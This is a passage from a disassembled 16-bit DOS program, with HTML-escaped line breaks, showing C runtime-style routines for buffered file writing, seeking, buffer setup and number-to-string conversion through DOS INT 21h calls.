LOC_60        ; (068E)&lt;br /&gt;LOC_59:&lt;br /&gt;        MOV    WORD PTR DS:DATA_11E,8    ; (0000:0094=192FH)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_60        ; (068E)&lt;br /&gt;LOC_60:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_21        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_22        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_20            ; (0638)&lt;br /&gt;        POP    CX&lt;br /&gt;        JMP    SHORT LOC_61        ; (069C)&lt;br /&gt;LOC_61:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_22        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 8BH, 46H, 4&lt;br /&gt;        DB    99H, 52H, 50H, 0E8H, 0B2H, 0FFH&lt;br /&gt;        DB    8BH, 0E5H, 0EBH, 0, 5DH, 0C3H&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_23        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,2&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        MOV    SI,[BX]&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        MOV    [BP-2],AX&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        TEST    WORD PTR [BX+2],40H&lt;br /&gt;        JZ    LOC_62            ; Jump if zero&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        JMP    SHORT LOC_65        ; (06EF)&lt;br /&gt;LOC_62:&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        MOV    DI,[BX+0AH]&lt;br /&gt;        JMP    SHORT LOC_64        ; (06E3)&lt;br /&gt;LOC_63:&lt;br /&gt;        MOV    BX,DI&lt;br /&gt;        INC    DI&lt;br /&gt;        CMP    BYTE PTR [BX],0AH&lt;br /&gt;        JNE    LOC_64            ; Jump if not equal&lt;br /&gt;        INC    WORD PTR [BP-2]&lt;br /&gt;LOC_64:&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        DEC    SI&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_63            ; Jump if not zero&lt;br /&gt;        MOV    AX,[BP-2]&lt;br /&gt;        JMP    SHORT LOC_65        ; (06EF)&lt;br /&gt;LOC_65:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    2&lt;br /&gt;SUB_23        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_24        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_34            ; (0BEE)&lt;br /&gt;        POP    CX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_66            ; Jump if zero&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_70        ; (0758)&lt;br /&gt;LOC_66:&lt;br /&gt;        CMP    WORD PTR [BP+0AH],1&lt;br /&gt;        JNE    LOC_67            ; Jump if not equal&lt;br /&gt;        CMP    WORD PTR [SI],0&lt;br /&gt;        JLE    LOC_67            ; Jump if &lt; or =&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_23            ; (06B0)&lt;br /&gt;        CWD                ; Word to double word&lt;br /&gt;        SUB    [BP+6],AX&lt;br /&gt;        SBB    [BP+8],DX&lt;br /&gt;LOC_67:&lt;br /&gt;        AND    WORD PTR [SI+2],0FE5FH&lt;br /&gt;        MOV    WORD PTR [SI],0&lt;br /&gt;        MOV    AX,[SI+8]&lt;br /&gt;        MOV    [SI+0AH],AX&lt;br /&gt;        PUSH    WORD PTR [BP+0AH]&lt;br /&gt;        PUSH    WORD PTR [BP+8]&lt;br /&gt;        PUSH    WORD PTR [BP+6]&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_29            ; (0A1E)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        CMP    DX,0FFFFH&lt;br /&gt;        JNE    LOC_68            ; Jump if not equal&lt;br /&gt;        CMP    AX,0FFFFH&lt;br /&gt;        JNE    LOC_68            ; Jump if not equal&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_69        ; (0756)&lt;br /&gt;LOC_68:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;LOC_69:&lt;br /&gt;        JMP    SHORT LOC_70        ; (0758)&lt;br /&gt;LOC_70:&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_24        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 83H, 0ECH, 4&lt;br /&gt;        DB    56H, 8BH, 76H, 4, 56H, 0E8H&lt;br /&gt;        DB    85H, 4, 59H, 0BH, 0C0H, 74H&lt;br /&gt;        DB    8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH&lt;br /&gt;        DB    0FFH, 0EBH, 3FH, 0B8H, 1, 0&lt;br /&gt;        DB    50H, 33H, 0C0H, 50H, 50H, 8AH&lt;br /&gt;        DB    44H, 4, 98H, 50H, 0E8H, 98H&lt;br /&gt;        DB    2, 83H, 0C4H, 8, 89H, 56H&lt;br /&gt;        DB    0FEH, 89H, 46H, 0FCH, 83H, 3CH&lt;br /&gt;        DB    0, 7EH, 19H, 8BH, 56H, 0FEH&lt;br /&gt;        DB    8BH, 46H, 0FCH, 52H, 50H, 56H&lt;br /&gt;        DB    0E8H, 10H, 0FFH, 99H, 8BH, 0D8H&lt;br /&gt;        DB    8BH, 0CAH, 58H, 5AH, 2BH, 0C3H&lt;br /&gt;        DB    1BH, 0D1H, 0EBH, 6&lt;br /&gt;LOC_71:&lt;br /&gt;        MOV    DX,[BP-2]&lt;br /&gt;        MOV    AX,[BP-4]&lt;br /&gt;LOC_72:&lt;br /&gt;        JMP    SHORT LOC_73        ; (07B5)&lt;br /&gt;LOC_73:&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_25        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AX,4400H&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 44h&lt;br /&gt;                        ;  device drivr cntrl al=subfunc&lt;br /&gt;        MOV    AX,0&lt;br /&gt;        JC    LOC_74            ; Jump if carry Set&lt;br /&gt;        SHL    DX,1            ; Shift w/zeros fill&lt;br /&gt;        RCL    AX,1            ; Rotate thru carry&lt;br /&gt;LOC_74:&lt;br /&gt;        JMP    SHORT LOC_75        ; (07D0)&lt;br /&gt;LOC_75:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_25        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_26        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    DI,[BP+0AH]&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        MOV    AX,[SI+0EH]&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JNE    LOC_76            ; Jump if not equal&lt;br /&gt;        CMP    WORD PTR [BP+8],2&lt;br /&gt;        JG    LOC_76            ; Jump if &gt;&lt;br /&gt;        CMP    DI,7FFFH&lt;br /&gt;        JBE    LOC_77            ; Jump if below or =&lt;br /&gt;LOC_76:&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    LOC_85            ; (08A0)&lt;br /&gt;LOC_77:&lt;br /&gt;        CMP    WORD PTR DS:DATA_34E,0    ; (7FC4:03A8=0AE46H)&lt;br /&gt;        JNE    LOC_78            ; Jump if not equal&lt;br /&gt;        MOV    AX,24EH&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JNE    LOC_78            ; Jump if not equal&lt;br /&gt;        MOV    WORD PTR DS:DATA_34E,1    ; (7FC4:03A8=0AE46H)&lt;br /&gt;        JMP    SHORT LOC_79        ; (0820)&lt;br /&gt;LOC_78:&lt;br /&gt;        CMP    WORD PTR DS:DATA_33E,0    ; (7FC4:03A6=8D50H)&lt;br /&gt;        JNE    LOC_79            ; Jump if not equal&lt;br /&gt;        MOV    AX,23EH&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JNE    LOC_79            ; Jump if not equal&lt;br /&gt;        MOV    WORD PTR DS:DATA_33E,1    ; (7FC4:03A6=8D50H)&lt;br /&gt;LOC_79:&lt;br /&gt;        CMP    WORD PTR [SI],0&lt;br /&gt;        JE    LOC_80            ; Jump if equal&lt;br /&gt;        MOV    AX,1&lt;br /&gt;        PUSH    AX&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_24            ; (06F7)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;LOC_80:&lt;br /&gt;        TEST    WORD PTR [SI+2],4&lt;br /&gt;        JZ    LOC_81            ; Jump if zero&lt;br /&gt;        PUSH    WORD PTR [SI+8]&lt;br /&gt;        CALL    SUB_47            ; (14CC)&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_81:&lt;br /&gt;        AND    WORD PTR [SI+2],0FFF3H&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        MOV    WORD PTR [SI+6],0&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        ADD    AX,5&lt;br /&gt;        MOV    [SI+8],AX&lt;br /&gt;        MOV    [SI+0AH],AX&lt;br /&gt;        CMP    WORD PTR [BP+8],2&lt;br /&gt;        JE    LOC_84            ; Jump if equal&lt;br /&gt;        OR    DI,DI            ; Zero ?&lt;br /&gt;        JBE    LOC_84            ; Jump if below or =&lt;br /&gt;        MOV    WORD PTR DS:DATA_31E,8A4H    ; (7FC4:0232=2FB9H)&lt;br /&gt;        CMP    WORD PTR [BP+6],0&lt;br /&gt;        JNE    LOC_83            ; Jump if not equal&lt;br /&gt;        PUSH    DI&lt;br /&gt;        CALL    SUB_19            ; (05CA)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    [BP+6],AX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_82            ; Jump if zero&lt;br /&gt;        OR    WORD PTR [SI+2],4&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        JMP    SHORT LOC_83        ; (0885)&lt;br /&gt;LOC_82:&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_85        ; (08A0)&lt;br /&gt;LOC_83:&lt;br /&gt;        MOV    AX,[BP+6]&lt;br /&gt;        MOV    [SI+0AH],AX&lt;br /&gt;        MOV    [SI+8],AX&lt;br /&gt;        MOV    [SI+6],DI&lt;br /&gt;        CMP    WORD PTR [BP+8],1&lt;br /&gt;        JNE    LOC_84            ; Jump if not equal&lt;br /&gt;        OR    WORD PTR [SI+2],8&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;LOC_84:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_85        ; (08A0)&lt;br /&gt;LOC_85:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_26        ENDP&lt;br /&gt; &lt;br /&gt;        DB    56H, 57H, 0BFH, 4, 0, 0BEH&lt;br /&gt;        DB    3EH, 2, 0EBH, 10H&lt;br /&gt;LOC_86:&lt;br /&gt;        TEST    WORD PTR [SI+2],3&lt;br /&gt;        JZ    LOC_87            ; Jump if zero&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_34            ; (0BEE)&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_87:&lt;br /&gt;        DEC    DI&lt;br /&gt;        ADD    SI,10H&lt;br /&gt;        OR    DI,DI            ; Zero ?&lt;br /&gt;        JNZ    LOC_86            ; Jump if not zero&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_27        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,8AH&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AX,[BP+8]&lt;br /&gt;        INC    AX&lt;br /&gt;        CMP    AX,2&lt;br /&gt;        JAE    LOC_88            ; Jump if above or =&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    LOC_100            ; (09D2)&lt;br /&gt;LOC_88:&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        TEST    WORD PTR DS:DATA_32E[BX],8000H    ; (7FC4:037E=50FFH)&lt;br /&gt;        JZ    LOC_89            ; Jump if zero&lt;br /&gt;        PUSH    WORD PTR [BP+8]&lt;br /&gt;        PUSH    WORD PTR [BP+6]&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        JMP    LOC_100            ; (09D2)&lt;br /&gt;LOC_89:&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        AND    WORD PTR DS:DATA_32E[BX],0FDFFH    ; (7FC4:037E=50FFH)&lt;br /&gt;        MOV    AX,[BP+6]&lt;br /&gt;        MOV    SS:DATA_136E[BP],AX    ; (817F:FF7C=0)&lt;br /&gt;        MOV    AX,[BP+8]&lt;br /&gt;        MOV    SS:DATA_134E[BP],AX    ; (817F:FF78=0)&lt;br /&gt;        LEA    SI,[BP-82H]        ; Load effective addr&lt;br /&gt;        JMP    SHORT LOC_95        ; (0987)&lt;br /&gt;LOC_90:&lt;br /&gt;        DEC    WORD PTR SS:DATA_134E[BP]    ; (817F:FF78=0)&lt;br /&gt;        MOV    BX,SS:DATA_136E[BP]    ; (817F:FF7C=0)&lt;br /&gt;        INC    WORD PTR SS:DATA_136E[BP]    ; (817F:FF7C=0)&lt;br /&gt;        MOV    AL,[BX]&lt;br /&gt;        MOV    SS:DATA_135E[BP],AL    ; (817F:FF7B=0)&lt;br /&gt;        CMP    AL,0AH&lt;br /&gt;        JNE    LOC_91            ; Jump if not equal&lt;br /&gt;        MOV    BYTE PTR [SI],0DH&lt;br /&gt;        INC    SI&lt;br /&gt;LOC_91:&lt;br /&gt;        MOV    AL,SS:DATA_135E[BP]    ; (817F:FF7B=0)&lt;br /&gt;        MOV    [SI],AL&lt;br /&gt;        INC    SI&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        MOV    DX,SI&lt;br /&gt;        SUB    DX,AX&lt;br /&gt;        CMP    DX,80H&lt;br /&gt;        JL    LOC_95            ; Jump if &lt;&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        MOV    DI,SI&lt;br /&gt;        SUB    DI,AX&lt;br /&gt;        PUSH    DI&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        MOV    SS:DATA_133E[BP],AX    ; (817F:FF76=0)&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JE    LOC_94            ; Jump if equal&lt;br /&gt;        CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)&lt;br /&gt;        JAE    LOC_92            ; Jump if above or =&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_93        ; (0981)&lt;br /&gt;LOC_92:&lt;br /&gt;        MOV    AX,[BP+8]&lt;br /&gt;        SUB    AX,SS:DATA_134E[BP]    ; (817F:FF78=0)&lt;br /&gt;        ADD    AX,SS:DATA_133E[BP]    ; (817F:FF76=0)&lt;br /&gt;        SUB    AX,DI&lt;br /&gt;LOC_93:&lt;br /&gt;        JMP    SHORT LOC_100        ; (09D2)&lt;br /&gt;LOC_94:&lt;br /&gt;        LEA    SI,[BP-82H]        ; Load effective addr&lt;br /&gt;LOC_95:&lt;br /&gt;        CMP    WORD PTR SS:DATA_134E[BP],0    ; (817F:FF78=0)&lt;br /&gt;        JE    LOC_96            ; Jump if equal&lt;br /&gt;        JMP    LOC_90            ; (091A)&lt;br /&gt;        nop                ;*Fixup for MASM (V)&lt;br /&gt;LOC_96:&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        MOV    DI,SI&lt;br /&gt;        SUB    DI,AX&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JBE    LOC_99            ; Jump if below or =&lt;br /&gt;        PUSH    DI&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        MOV    SS:DATA_133E[BP],AX    ; (817F:FF76=0)&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JE    LOC_99            ; Jump if equal&lt;br /&gt;        CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)&lt;br /&gt;        JAE    LOC_97            ; Jump if above or =&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_98        ; (09CB)&lt;br /&gt;LOC_97:&lt;br /&gt;        MOV    AX,[BP+8]&lt;br /&gt;        ADD    AX,SS:DATA_133E[BP]    ; (817F:FF76=0)&lt;br /&gt;        SUB    AX,DI&lt;br /&gt;LOC_98:&lt;br /&gt;        JMP    SHORT LOC_100        ; (09D2)&lt;br /&gt;LOC_99:&lt;br /&gt;        MOV    AX,[BP+8]&lt;br /&gt;        JMP    SHORT LOC_100        ; (09D2)&lt;br /&gt;LOC_100:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_27        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_28        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        TEST    WORD PTR DS:DATA_32E[BX],800H    ; (7FC4:037E=50FFH)&lt;br /&gt;        JZ    LOC_101            ; Jump if zero&lt;br /&gt;        MOV    AX,2&lt;br /&gt;        PUSH    AX&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_29            ; (0A1E)&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;LOC_101:&lt;br /&gt;        MOV    AH,40H            ; '@'&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        MOV    CX,[BP+8]&lt;br /&gt;        MOV    DX,[BP+6]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 40h&lt;br /&gt;                        ;  write file cx=bytes, to ds:dx&lt;br /&gt;        JC    LOC_102            ; Jump if carry Set&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        OR    WORD PTR DS:DATA_32E[BX],1000H    ; (7FC4:037E=50FFH)&lt;br /&gt;        POP    AX&lt;br /&gt;        JMP    SHORT LOC_103        ; (0A1C)&lt;br /&gt;LOC_102:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_10            ; (031F)&lt;br /&gt;        JMP    SHORT LOC_103        ; (0A1C)&lt;br /&gt;LOC_103:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_28        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_29        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        AND    WORD PTR DS:DATA_32E[BX],0FDFFH    ; (7FC4:037E=50FFH)&lt;br /&gt;        MOV    AH,42H            ; 'B'&lt;br /&gt;        MOV    AL,[BP+0AH]&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        MOV    CX,[BP+8]&lt;br /&gt;        MOV    DX,[BP+6]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 42h&lt;br /&gt;                        ;  move file ptr, cx,dx=offset&lt;br /&gt;        JC    LOC_104            ; Jump if carry Set&lt;br /&gt;        JMP    SHORT LOC_105        ; (0A47)&lt;br /&gt;LOC_104:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_10            ; (031F)&lt;br /&gt;        CWD                ; Word to double word&lt;br /&gt;        JMP    SHORT LOC_105        ; (0A47)&lt;br /&gt;LOC_105:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_29        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_30        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,22H&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    ES&lt;br /&gt;        MOV    DI,[BP+0AH]&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    BX,[BP+8]&lt;br /&gt;        CMP    BX,24H&lt;br /&gt;        JA    LOC_113            ; Jump if above&lt;br /&gt;        CMP    BL,2&lt;br /&gt;        JB    LOC_113            ; Jump if below&lt;br /&gt;        MOV    AX,[BP+0CH]&lt;br /&gt;        MOV    CX,[BP+0EH]&lt;br /&gt;        OR    CX,CX            ; Zero ?&lt;br /&gt;        JGE    LOC_106            ; Jump if &gt; or =&lt;br /&gt;        CMP    BYTE PTR [BP+6],0&lt;br /&gt;        JE    LOC_106            ; Jump if equal&lt;br /&gt;        MOV    BYTE PTR [DI],2DH    ; '-'&lt;br /&gt;        INC    DI&lt;br /&gt;        NEG    CX&lt;br /&gt;        NEG    AX&lt;br /&gt;        SBB    CX,0&lt;br /&gt;LOC_106:&lt;br /&gt;        LEA    SI,[BP-22H]        ; Load effective addr&lt;br /&gt;        JCXZ    LOC_108            ; Jump if cx=0&lt;br /&gt;LOC_107:&lt;br /&gt;        XCHG    AX,CX&lt;br /&gt;        SUB    DX,DX&lt;br /&gt;        DIV    BX            ; ax,dx rem=dx:ax/reg&lt;br /&gt;        XCHG    AX,CX&lt;br /&gt;        DIV    BX            ; ax,dx rem=dx:ax/reg&lt;br /&gt;        MOV    [SI],DL&lt;br /&gt;        INC    SI&lt;br /&gt;        JCXZ    LOC_109            ; Jump if cx=0&lt;br /&gt;        JMP    SHORT LOC_107        ; (0A84)&lt;br /&gt;LOC_108:&lt;br /&gt;        SUB    DX,DX&lt;br /&gt;        DIV    BX            ; ax,dx rem=dx:ax/reg&lt;br /&gt;        MOV    [SI],DL&lt;br /&gt;        INC    SI&lt;br /&gt;LOC_109:&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_108            ; Jump if not zero&lt;br /&gt;        LEA    CX,[BP-22H]        ; Load effective addr&lt;br /&gt;        NEG    CX&lt;br /&gt;        ADD    